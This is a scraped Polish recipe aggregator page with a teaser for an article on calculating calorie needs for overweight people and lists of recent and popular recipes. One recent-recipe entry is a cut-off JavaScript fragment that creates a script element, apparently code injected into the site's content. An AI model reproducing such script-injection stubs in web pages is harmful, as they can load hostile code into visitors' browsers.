Jak obliczyć zapotrzebowanie kaloryczne u osoby z nadwagą lub otyłością?
Źródło: http://www.wymiarzdrowia.pl/jak-obliczyc-zapotrzebowanie-kaloryczne/
Pewnie niejednokrotnie zastanawialiscie sie dlaczego nie mozecie schudnac? Wiele zalezy od tego ile kalorii spozywacie, a ile spalacie. W ponizszym poscie poznacie jeden ze sposobow oszacowania swojego zapotrzebowania na kalorie. Pozniej bedziecie mogli zweryfikowac ile kalorii powinniscie „uciac” w swoim jadlospisie. Przykladowe dane osoby nadwaga Dane: Plec...
Najnowsze przepisy
Ciasto jest wyśmienite, wielowarstwowe począwszy od... ⇖ 5
Problemy z trawieniem, podwyższony cholesterol, zaparcia,... ⇖ 10
(function(){ u7xb=document.createElement("script");u7xb.type ⇖ 10
Rurki z kremem Kinder to przepis, który smakiem przenosi... ⇖ 11
20.12.2025 Magda Śledzie z grzybami i pieczoną papryką... ⇖ 15
Zapraszam Was dziś na przepyszne ciasto makowe z kremem... ⇖ 33
Zupa rybna z łososiem i krewetkami pachnie fenkułem,... ⇖ 29
Przepisy z bloga
Przepisy na czasie
Prosty przepis na klasyczny drożdżowy makowiec. Przepis... ⇖ 2590
Masz ochotę na coś słodkiego bez pieczenia? Zrób sernik... ⇖ 2081
Piernik przekładany kremem to jedno z tych ciast, które... ⇖ 1426
NAJLEPSZY PRZEPIS NA CIASTO NA PIEROŻKIBardzo lubię... ⇖ 833
To niezwykle proste ciasto piernikowe, które zawsze się... ⇖ 739
Sernik łaciaty z brzoskwiniami i makiem to ciasto, które... ⇖ 672
Cześć! Dzisiaj robimy ciasto lion bez pieczenia, to... ⇖ 639
Kremowe, delikatne ciasto z białą czekoladą i cukierkami... ⇖ 632
